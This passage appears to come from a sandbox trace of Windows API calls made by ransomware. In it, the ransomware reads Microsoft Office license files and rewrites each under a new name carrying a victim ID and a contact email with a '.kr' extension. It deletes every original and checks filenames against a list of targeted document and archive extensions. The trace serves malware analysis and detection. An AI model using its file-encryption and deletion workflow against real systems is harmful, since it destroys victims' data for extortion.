(in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5466, lpOverlapped=0x0) returned 1 [0198.858] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5470, lpOverlapped=0x0) returned 1 [0198.860] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.860] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.860] SetEndOfFile (hFile=0x554) returned 1 [0198.860] CloseHandle (hObject=0x554) returned 1 [0198.860] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.860] SetEndOfFile (hFile=0x3e8) returned 1 [0198.863] CloseHandle (hObject=0x3e8) returned 1 [0198.864] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.865] lstrlenW (lpString=".doc") returned 4 [0198.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".docx") returned 5 [0198.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.865] lstrlenW (lpString=".pdf") returned 4 [0198.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".xls") returned 4 [0198.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".xlsx") returned 5 [0198.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.865] lstrlenW (lpString=".ppt") returned 4 [0198.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.865] lstrlenW (lpString=".zip") returned 4 [0198.865] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".rar") returned 4 [0198.865] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".bz2") returned 4 [0198.865] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.865] lstrlenW (lpString=".7z") returned 3 [0198.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.865] lstrlenW (lpString=".dbf") returned 4 [0198.866] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.866] lstrlenW (lpString=".1cd") returned 4 [0198.866] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.866] lstrlenW (lpString=".jpg") returned 4 [0198.866] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.866] lstrlenW (lpString=".doc") returned 4 [0198.866] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".docx") returned 5 [0198.867] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.867] lstrlenW (lpString=".pdf") returned 4 [0198.867] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".xls") returned 4 [0198.867] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".xlsx") returned 5 [0198.867] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.867] lstrlenW (lpString=".ppt") returned 4 [0198.867] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.867] lstrlenW (lpString=".zip") returned 4 [0198.867] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".rar") returned 4 [0198.867] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".bz2") returned 4 [0198.867] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString=".7z") returned 3 [0198.867] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.867] lstrlenW (lpString=".dbf") returned 4 [0198.867] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.867] lstrlenW (lpString=".1cd") returned 4 [0198.867] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0198.868] lstrlenW (lpString=".jpg") returned 4 [0198.868] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.868] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.868] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35 [0198.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.872] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11612) returned 1 [0198.873] CloseHandle (hObject=0x3e8) returned 1 [0198.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0198.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.873] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.324] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0199.381] GetLastError () returned 0x0 [0199.381] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0199.383] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0199.385] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.385] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11a, lpOverlapped=0x0) returned 1 [0199.385] SetEndOfFile (hFile=0x568) returned 1 [0199.385] CloseHandle (hObject=0x568) returned 1 [0199.385] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.385] SetEndOfFile (hFile=0x3e8) returned 1 [0199.389] CloseHandle (hObject=0x3e8) returned 1 [0199.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0199.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.390] lstrlenW (lpString=".doc") returned 4 [0199.390] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.390] lstrlenW (lpString=".docx") returned 5 [0199.390] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.390] lstrlenW (lpString=".pdf") returned 4 [0199.390] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.390] lstrlenW (lpString=".xls") returned 4 [0199.390] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.390] lstrlenW (lpString=".xlsx") returned 5 [0199.390] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.390] lstrlenW (lpString=".ppt") returned 4 [0199.390] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString=".zip") returned 4 [0199.391] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString=".rar") returned 4 [0199.391] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString=".bz2") returned 4 [0199.391] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString=".7z") returned 3 [0199.391] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString=".dbf") returned 4 [0199.391] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString=".1cd") returned 4 [0199.391] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString=".jpg") returned 4 [0199.391] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.391] lstrlenW (lpString=".doc") returned 4 [0199.391] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.391] lstrlenW (lpString=".docx") returned 5 [0199.391] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.391] lstrlenW (lpString=".pdf") returned 4 [0199.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString=".xls") returned 4 [0199.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString=".xlsx") returned 5 [0199.392] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.392] lstrlenW (lpString=".ppt") returned 4 [0199.392] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.392] lstrlenW (lpString=".zip") returned 4 [0199.392] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString=".rar") returned 4 [0199.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString=".bz2") returned 4 [0199.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString=".7z") returned 3 [0199.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.392] lstrlenW (lpString=".dbf") returned 4 [0199.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.392] lstrlenW (lpString=".1cd") returned 4 [0199.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0199.392] lstrlenW (lpString=".jpg") returned 4 [0199.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.393] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.393] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32 [0199.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.393] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11616) returned 1 [0199.393] CloseHandle (hObject=0x3e8) returned 1 [0199.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0199.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.394] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.394] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0199.395] GetLastError () returned 0x0 [0199.395] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0199.398] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0199.399] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.399] WriteFile (in: hFile=0x568, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x114, lpOverlapped=0x0) returned 1 [0199.399] SetEndOfFile (hFile=0x568) returned 1 [0199.399] CloseHandle (hObject=0x568) returned 1 [0199.399] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.399] SetEndOfFile (hFile=0x3e8) returned 1 [0199.402] CloseHandle (hObject=0x3e8) returned 1 [0199.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0199.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.404] lstrlenW (lpString=".doc") returned 4 [0199.404] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".docx") returned 5 [0199.404] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.404] lstrlenW (lpString=".pdf") returned 4 [0199.404] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".xls") returned 4 [0199.404] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".xlsx") returned 5 [0199.404] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.404] lstrlenW (lpString=".ppt") returned 4 [0199.404] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.404] lstrlenW (lpString=".zip") returned 4 [0199.404] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".rar") returned 4 [0199.404] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".bz2") returned 4 [0199.404] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString=".7z") returned 3 [0199.404] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.404] lstrlenW (lpString=".dbf") returned 4 [0199.404] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.404] lstrlenW (lpString=".1cd") returned 4 [0199.404] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.405] lstrlenW (lpString=".jpg") returned 4 [0199.405] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.405] lstrlenW (lpString=".doc") returned 4 [0199.405] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".docx") returned 5 [0199.405] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.405] lstrlenW (lpString=".pdf") returned 4 [0199.405] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".xls") returned 4 [0199.405] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".xlsx") returned 5 [0199.405] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.405] lstrlenW (lpString=".ppt") returned 4 [0199.405] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.405] lstrlenW (lpString=".zip") returned 4 [0199.405] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".rar") returned 4 [0199.405] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".bz2") returned 4 [0199.405] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.405] lstrlenW (lpString=".7z") returned 3 [0199.405] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.405] lstrlenW (lpString=".dbf") returned 4 [0199.405] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.406] lstrlenW (lpString=".1cd") returned 4 [0199.406] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0199.406] lstrlenW (lpString=".jpg") returned 4 [0199.406] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.406] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0199.406] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29 [0199.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.407] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11167) returned 1 [0199.407] CloseHandle (hObject=0x3e8) returned 1 [0199.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0199.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0199.408] SetFilePointerEx (in: 